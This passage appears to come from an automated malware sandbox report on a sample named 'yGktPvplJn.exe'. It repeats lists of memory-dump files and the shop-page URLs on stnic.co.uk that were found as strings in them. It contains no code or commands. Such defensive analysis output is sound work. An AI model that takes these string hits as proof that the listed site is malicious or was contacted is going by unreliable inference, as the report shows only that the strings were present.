00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/ireland/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/italy/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/scotland/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/spain/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/usa/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/wales/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/religious/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/religious/angels-saints/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/religious/cathedrals/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/religious/clergy-religious/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/religious/crosses-religious/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/search-product/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/shop/
